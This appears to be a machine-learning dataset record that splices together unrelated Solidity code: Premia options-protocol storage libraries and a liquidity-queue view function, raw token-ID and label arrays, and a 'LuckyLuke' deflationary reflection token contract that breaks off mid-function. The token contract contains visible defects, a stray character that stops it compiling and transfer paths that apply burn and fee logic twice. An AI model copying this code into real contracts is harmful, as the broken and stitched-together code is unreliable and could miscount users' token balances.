size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable account, uint256 amount) internal { (bool success, ) = account.call{ value: amount }(''); require(success, 'AddressUtils: failed to send value'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'AddressUtils: failed low-level call'); } function functionCall( address target, bytes memory data, string memory error ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, error); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, 'AddressUtils: failed low-level call with value' ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory error ) internal returns (bytes memory) { require( address(this).balance >= value, 'AddressUtils: insufficient balance for call' ); return _functionCallWithValue(target, data, value, error); } function _functionCallWithValue( address target, bytes memory data, uint256 value, string memory error ) private returns (bytes memory) { require( isContract(target), 'AddressUtils: function call to non-contract' ); (bool success, bytes memory returnData) = target.call{ value: value }( data ); if (success) { return returnData; } else if (returnData.length > 0) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(error); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library ERC1155BaseStorage { struct Layout { mapping(uint256 => mapping(address => uint256)) balances; mapping(address => mapping(address => bool)) operatorApprovals; } bytes32 internal constant STORAGE_SLOT = keccak256('solidstate.contracts.storage.ERC1155Base'); function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC20 metadata interface */ interface IERC20Metadata { /** * @notice return token name * @return token name */ function name() external view returns (string memory); /** * @notice return token symbol * @return token symbol */ function symbol() external view returns (string memory); /** * @notice return token decimals, generally used only for display purposes * @return token decimals */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; library FeeDiscountStorage { bytes32 internal constant STORAGE_SLOT = keccak256("premia.contracts.staking.PremiaFeeDiscount"); struct UserInfo { uint256 balance; // Balance staked by user uint64 stakePeriod; // Stake period selected by user uint64 lockedUntil; // Timestamp at which the lock ends } struct Layout { // User data with xPREMIA balance staked and date at which lock ends mapping(address => UserInfo) userInfo; } function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; library PremiaMiningStorage { bytes32 internal constant STORAGE_SLOT = keccak256("premia.contracts.storage.PremiaMining"); // Info of each pool. struct PoolInfo { uint256 allocPoint; // How many allocation points assigned to this pool. PREMIA to distribute per block. uint256 lastRewardTimestamp; // Last timestamp that PREMIA distribution occurs uint256 accPremiaPerShare; // Accumulated PREMIA per share, times 1e12. See below. } // Info of each user. struct UserInfo { uint256 reward; // Total allocated unclaimed reward uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of PREMIA // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accPremiaPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPremiaPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } struct Layout { // Total PREMIA left to distribute uint256 premiaAvailable; // Amount of premia distributed per year uint256 premiaPerYear; // pool -> isCallPool -> PoolInfo mapping(address => mapping(bool => PoolInfo)) poolInfo; // pool -> isCallPool -> user -> UserInfo mapping(address => mapping(bool => mapping(address => UserInfo))) userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 totalAllocPoint; } function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {EnumerableSet} from "@solidstate/contracts/utils/EnumerableSet.sol"; library VolatilitySurfaceOracleStorage { bytes32 internal constant STORAGE_SLOT = keccak256("premia.contracts.storage.VolatilitySurfaceOracle"); uint256 internal constant COEFF_BITS = 51; uint256 internal constant COEFF_BITS_MINUS_ONE = 50; uint256 internal constant COEFF_AMOUNT = 5; // START_BIT = COEFF_BITS * (COEFF_AMOUNT - 1) uint256 internal constant START_BIT = 204; struct Update { uint256 updatedAt; bytes32 callCoefficients; bytes32 putCoefficients; } struct Layout { // Base token -> Underlying token -> Update mapping(address => mapping(address => Update)) volatilitySurfaces; // Relayer addresses which can be trusted to provide accurate option trades EnumerableSet.AddressSet whitelistedRelayers; } function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function getCoefficients( Layout storage l, address baseToken, address underlyingToken, bool isCall ) internal view returns (bytes32) { Update storage u = l.volatilitySurfaces[baseToken][underlyingToken]; return isCall ? u.callCoefficients : u.putCoefficients; } function parseVolatilitySurfaceCoefficients(bytes32 input) internal pure returns (int256[] memory coefficients) { coefficients = new int256[](COEFF_AMOUNT); // Value to add to negative numbers to cast them to int256 int256 toAdd = (int256(-1) >> COEFF_BITS) << COEFF_BITS; assembly { let i := 0 // Value equal to -1 let mid := shl(COEFF_BITS_MINUS_ONE, 1) for { } lt(i, COEFF_AMOUNT) { } { let offset := sub(START_BIT, mul(COEFF_BITS, i)) let coeff := shr( offset, sub( input, shl( add(offset, COEFF_BITS), shr(add(offset, COEFF_BITS), input) ) ) ) // Check if value is a negative number and needs casting if or(eq(coeff, mid), gt(coeff, mid)) { coeff := add(coeff, toAdd) } // Store result in the coefficients array mstore(add(coefficients, add(0x20, mul(0x20, i))), coeff) i := add(i, 1) } } } function formatVolatilitySurfaceCoefficients(int256[5] memory coefficients) internal pure returns (bytes32 result) { for (uint256 i = 0; i < COEFF_AMOUNT; i++) { int256 max = int256(1 << COEFF_BITS_MINUS_ONE); require( coefficients[i] < max && coefficients[i] > -max, "Out of bounds" ); } assembly { let i := 0 for { } lt(i, COEFF_AMOUNT) { } { let offset := sub(START_BIT, mul(COEFF_BITS, i)) let coeff := mload(add(coefficients, mul(0x20, i))) result := add( result, shl( offset, sub(coeff, shl(COEFF_BITS, shr(COEFF_BITS, coeff))) ) ) i := add(i, 1) } } } }
* @inheritdoc IPoolView/
function getLiquidityQueuePosition(address account, bool isCallPool) external view override returns (uint256 liquidityBeforePosition, uint256 positionSize) { PoolStorage.Layout storage l = PoolStorage.layout(); uint256 tokenId = _getFreeLiquidityTokenId(isCallPool); if (!l.isInQueue(account, isCallPool)) { liquidityBeforePosition = _totalSupply(tokenId); mapping(address => address) storage asc = l.liquidityQueueAscending[ isCallPool ]; address depositor = asc[address(0)]; while (depositor != account) { liquidityBeforePosition += _balanceOf(depositor, tokenId); depositor = asc[depositor]; } positionSize = _balanceOf(depositor, tokenId); } }
14,528,671
[ 1, 36, 10093, 467, 2864, 1767, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9014, 18988, 24237, 3183, 2555, 12, 2867, 2236, 16, 1426, 353, 1477, 2864, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 3849, 203, 3639, 1135, 261, 11890, 5034, 4501, 372, 24237, 4649, 2555, 16, 2254, 5034, 1754, 1225, 13, 203, 565, 288, 203, 3639, 8828, 3245, 18, 3744, 2502, 328, 273, 8828, 3245, 18, 6741, 5621, 203, 203, 3639, 2254, 5034, 1147, 548, 273, 389, 588, 9194, 48, 18988, 24237, 1345, 548, 12, 291, 1477, 2864, 1769, 203, 203, 3639, 309, 16051, 80, 18, 291, 382, 3183, 12, 4631, 16, 353, 1477, 2864, 3719, 288, 203, 5411, 4501, 372, 24237, 4649, 2555, 273, 389, 4963, 3088, 1283, 12, 2316, 548, 1769, 203, 5411, 2874, 12, 2867, 516, 1758, 13, 2502, 6972, 273, 328, 18, 549, 372, 24237, 3183, 13665, 2846, 63, 203, 7734, 353, 1477, 2864, 203, 5411, 308, 31, 203, 203, 5411, 1758, 443, 1724, 280, 273, 6972, 63, 2867, 12, 20, 13, 15533, 203, 203, 5411, 1323, 261, 323, 1724, 280, 480, 2236, 13, 288, 203, 7734, 4501, 372, 24237, 4649, 2555, 1011, 389, 12296, 951, 12, 323, 1724, 280, 16, 1147, 548, 1769, 203, 7734, 443, 1724, 280, 273, 6972, 63, 323, 1724, 280, 15533, 203, 5411, 289, 203, 203, 5411, 1754, 1225, 273, 389, 12296, 951, 12, 323, 1724, 280, 16, 1147, 548, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// This is deflationary project. Each LUCKY transaction triggers a burn rate of 2%. // Token rewards its holders with a 3% tax on each transaction. // Each transaction will also add 5% to the SushiSwap liquidity for a better trading experience. /* ▄▄▌ ▄• ▄▌ ▄▄· ▄ •▄ ▄· ▄▌ ▄▄▌ ▄• ▄▌▄ •▄ ▄▄▄ . ·▄▄▄▪ ▐ ▄ ▄▄▄· ▐ ▄ ▄▄· ▄▄▄ . ▄▄▄ . ▄▄· .▄▄ · ▄· ▄▌.▄▄ · ▄▄▄▄▄▄▄▄ .• ▌ ▄ ·. ██• █▪██▌▐█ ▌▪█▌▄▌▪▐█▪██▌ ██• █▪██▌█▌▄▌▪▀▄.▀· ▐▄▄·██ •█▌▐█▐█ ▀█ •█▌▐█▐█ ▌▪▀▄.▀· ▀▄.▀·▐█ ▌▪ ▄█▀▄ ▐█ ▀. ▐█▪██▌▐█ ▀. •██ ▀▄.▀··██ ▐███▪ ██▪ █▌▐█▌██ ▄▄▐▀▀▄·▐█▌▐█▪ ██▪ █▌▐█▌▐▀▀▄·▐▀▀▪▄ ██▪ ▐█·▐█▐▐▌▄█▀▀█ ▐█▐▐▌██ ▄▄▐▀▀▪▄ ▐▀▀▪▄██ ▄▄▐█▌.▐▌▄▀▀▀█▄▐█▌▐█▪▄▀▀▀█▄ ▐█.▪▐▀▀▪▄▐█ ▌▐▌▐█· ▐█▌▐▌▐█▄█▌▐███▌▐█.█▌ ▐█▀·. ▐█▌▐▌▐█▄█▌▐█.█▌▐█▄▄▌ ██▌.▐█▌██▐█▌▐█ ▪▐▌██▐█▌▐███▌▐█▄▄▌ ▐█▄▄▌▐███▌▐█▌.▐▌▐█▄▪▐█ ▐█▀·.▐█▄▪▐█ ▐█▌·▐█▄▄▌██ ██▌▐█▌ .▀▀▀ ▀▀▀ ·▀▀▀ ·▀ ▀ ▀ • .▀▀▀ ▀▀▀ ·▀ ▀ ▀▀▀ ▀▀▀ ▀▀▀▀▀ █▪ ▀ ▀ ▀▀ █▪·▀▀▀ ▀▀▀ ▀▀▀ ·▀▀▀ ▀█▄▀▪ ▀▀▀▀ ▀ • ▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀ █▪▀▀▀ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC20Deflationary.sol"; contract LuckyLuke is ERC20Deflationary { constructor() ERC20Deflationary("LuckyLuke", "LUCKY", 9, 7777777) { } } // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./Context.sol"; import "./Ownable.sol"; import "./IERC20.sol"; contract ERC20Deflationary is Context, IERC20, Ownable { // balances for address that are included. mapping (address => uint256) private _rBalances; // balances for address that are excluded. mapping (address => uint256) private _tBalances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromReward;a address[] private _excludedFromReward; uint8 private immutable _decimals; uint256 private _totalSupply; uint256 private _currentSupply; uint256 private _rTotal; uint256 private _tFeeTotal; // this percent of transaction amount that will be burnt. uint8 private _taxFeeBurn; // percent of transaction amount that will be redistribute to all holders. uint8 private _taxFeeReward; // percent of transaction amount that will be added to the liquidity pool uint8 private _taxFeeLiquidity; string private _name; string private _symbol; address private constant burnAccount = 0x000000000000000000000000000000000000dEaD; event Burn(address from, uint256 amount); constructor (string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { // Sets the values for `name`, `symbol`, `totalSupply`, `taxFeeBurn`, `taxFeeReward`, and `taxFeeLiquidity`. _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10**decimals_); _currentSupply = _totalSupply; _rTotal = (~uint256(0) - (~uint256(0) % _totalSupply)); // mint _rBalances[_msgSender()] = _rTotal; // exclude owner and this contract from fee. _excludeFromFee(owner()); _excludeFromFee(address(this)); // exclude owner and burnAccount from receiving rewards. excludeAccountFromReward(owner()); excludeAccountFromReward(burnAccount); emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } function taxFeeBurn() public view virtual returns (uint8) { return _taxFeeBurn; } function taxFeeReward() public view virtual returns (uint8) { return _taxFeeReward; } function taxFeeLiquidity() public view virtual returns (uint8) { return _taxFeeLiquidity; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function currentSupply() public view virtual returns (uint256) { return _currentSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { if (_isExcludedFromReward[account]) return _tBalances[account]; return tokenFromReflection(_rBalances[account]); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != burnAccount, "ERC20: burn from the burn address"); uint256 accountBalance = balanceOf(account); require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); uint256 rAmount = _getRValuesWithoutFee(amount); if (isExcluded(account)) { _tBalances[account] -= amount; _rBalances[account] -= rAmount; } else { _rBalances[account] -= rAmount; } _tBalances[burnAccount] += amount; _rBalances[burnAccount] += rAmount; // decrease the current coin supply _currentSupply -= amount; emit Burn(account, amount); emit Transfer(account, burnAccount, amount); } /** * @dev Destroys `amount` tokens from the caller. * */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromReward[account]; } function totalFees() public view virtual returns (uint256) { return _tFeeTotal; } /** * @dev Distribute tokens to all holders that are included from reward. * * Requirements: * - the caller must have a balance of at least `amount`. */ function distribute(uint256 amount) public { address sender = _msgSender(); require(!_isExcludedFromReward[sender], "Excluded addresses cannot call this function"); ValuesFromAmount memory values = _getValues(amount, false); _rBalances[sender] = _rBalances[sender] - values.rAmount; _rTotal = _rTotal - values.rAmount; _tFeeTotal = _tFeeTotal + amount ; } function reflectionFromToken(uint256 amount, bool deductTransferFee) public view returns(uint256) { require(amount <= _totalSupply, "Amount must be less than supply"); ValuesFromAmount memory values = _getValues(amount, deductTransferFee); return values.rTransferAmount; } /** Used to figure out the balance of rBalance. */ function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function _excludeFromFee(address account) private onlyOwner { _isExcludedFromFee[account] = true; } function _includeInFee(address account) private onlyOwner { _isExcludedFromFee[account] = false; } function excludeAccountFromReward(address account) public onlyOwner { require(!_isExcludedFromReward[account], "Account is already excluded"); if(_rBalances[account] > 0) { _tBalances[account] = tokenFromReflection(_rBalances[account]); } _isExcludedFromReward[account] = true; _excludedFromReward.push(account); } function includeAccountFromReward(address account) public onlyOwner { require(_isExcludedFromReward[account], "Account is already included"); for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_excludedFromReward[i] == account) { _excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1]; _tBalances[account] = 0; _isExcludedFromReward[account] = false; _excludedFromReward.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); ValuesFromAmount memory values = _getValues(amount, _isExcludedFromFee[sender]); if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferFromExcluded(sender, recipient, values); } else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferToExcluded(sender, recipient, values); } else if (!_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) { _transferStandard(sender, recipient, values); } else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) { _transferBothExcluded(sender, recipient, values); } else { _transferStandard(sender, recipient, values); } _afterTokenTransfer(values); } /** * burns * reflect tValues = (uint256 tTransferAmount, uint256 tBurnFee, uint256 tRewardFee, uint256 tLiquidityFee); rValues = uint256 rAmount, uint256 rTransferAmount, uint256 rBurnFee, uint256 rRewardFee, uint256 rLiquidityFee; */ function _afterTokenTransfer(ValuesFromAmount memory values) internal virtual { // burn from contract address burn(values.tBurnFee); // reflect _distributeFee(values.rRewardFee, values.tRewardFee); } function _transferStandard(address sender, address recipient, ValuesFromAmount memory values) private { _rBalances[sender] = _rBalances[sender] - values.rAmount; _rBalances[recipient] = _rBalances[recipient] + values.rTransferAmount; emit Transfer(sender, recipient, values.tTransferAmount); } function _transferToExcluded(address sender, address recipient, ValuesFromAmount memory values) private { _rBalances[sender] = _rBalances[sender] - values.rAmount; _tBalances[recipient] = _tBalances[recipient] + values.tTransferAmount; _rBalances[recipient] = _rBalances[recipient] + values.rTransferAmount; _afterTokenTransfer(values); emit Transfer(sender, recipient, values.tTransferAmount); } function _transferFromExcluded(address sender, address recipient, ValuesFromAmount memory values) private { _tBalances[sender] = _tBalances[sender] - values.amount; _rBalances[sender] = _rBalances[sender] - values.rAmount; _rBalances[recipient] = _rBalances[recipient] + values.rTransferAmount; _afterTokenTransfer(values); emit Transfer(sender, recipient, values.tTransferAmount); } function _transferBothExcluded(address sender, address recipient, ValuesFromAmount memory values) private { _tBalances[sender] = _tBalances[sender] - values.amount; _rBalances[sender] = _rBalances[sender] - values.rAmount; _tBalances[recipient] = _tBalances[recipient] + values.tTransferAmount; _rBalances[recipient] = _rBalances[recipient] + values.rTransferAmount; _afterTokenTransfer(values); emit Transfer(sender, recipient, values.tTransferAmount); } function _distributeFee(uint256 rFee, uint256 tFee) private { // to decrease rate thus increase amount reward receive. _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } struct ValuesFromAmount { uint256 amount; uint256 tBurnFee; uint256 tRewardFee; uint256 tLiquidityFee; // amount after fee uint256 tTransferAmount; uint256 rAmount; uint256 rBurnFee; uint256 rRewardFee; uint256 rLiquidityFee; uint256 rTransferAmount; } function _getValues(uint256 amount, bool deductTransferFee) private view returns (ValuesFromAmount memory) { ValuesFromAmount memory values; values.amount = amount; _getTValues(values, deductTransferFee); _getRValues(values, deductTransferFee); return values; } function _getTValues(ValuesFromAmount memory values, bool deductTransferFee) view private { if (deductTransferFee) { values.tTransferAmount = values.amount; } else { // calculate fee values.tBurnFee = _calculateTaxFeeBurn(values.amount); values.tRewardFee = _calculateTaxFeeReward(values.amount); values.tLiquidityFee = _calculateTaxFeeLiquidity(values.amount); // amount after fee values.tTransferAmount = values.amount - values.tBurnFee - values.tRewardFee - values.tLiquidityFee; } } function _getRValues(ValuesFromAmount memory values, bool deductTransferFee) view private { uint256 currentRate = _getRate(); values.rAmount = values.amount * currentRate; if (deductTransferFee) { values.rTransferAmount = values.rAmount; } else { values.rAmount = values.amount * currentRate; values.rBurnFee = values.tBurnFee * currentRate; values.rRewardFee = values.tRewardFee * currentRate; values.rLiquidityFee = values.tLiquidityFee * currentRate; values.rTransferAmount = values.rAmount - values.rBurnFee - values.rRewardFee - values.rLiquidityFee; } } function _getRValuesWithoutFee(uint256 amount) private view returns (uint256) { uint256 currentRate = _getRate(); return amount * currentRate; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _totalSupply; for (uint256 i = 0; i < _excludedFromReward.length; i++) { if (_rBalances[_excludedFromReward[i]] > rSupply || _tBalances[_excludedFromReward[i]] > tSupply) return (_rTotal, _totalSupply); rSupply = rSupply - _rBalances[_excludedFromReward[i]]; tSupply = tSupply - _tBalances[_excludedFromReward[i]]; } if (rSupply < _rTotal / _totalSupply) return (_rTotal, _totalSupply); return (rSupply, tSupply); } function setTaxFeeBurn(uint8 taxFeeBurn_) public onlyOwner { require(taxFeeBurn_ + _taxFeeReward + _taxFeeLiquidity < 100, "Tax fee too high."); _taxFeeBurn = taxFeeBurn_; } function setTaxFeeReward(uint8 taxFeeReward_) public onlyOwner { require(_taxFeeBurn + taxFeeReward_ + _taxFeeLiquidity < 100, "Tax fee too high."); _taxFeeReward = taxFeeReward_; } function setTaxFeeLiquidity(uint8 taxFeeLiquidity_) public onlyOwner { require(_taxFeeBurn + _taxFeeReward + taxFeeLiquidity_ < 100, "Tax fee too high."); _taxFeeLiquidity = taxFeeLiquidity_; } function _calculateTaxFeeBurn(uint256 amount) private view returns (uint256) { return amount * _taxFeeBurn / (10**2); } function _calculateTaxFeeReward(uint256 amount) private view returns 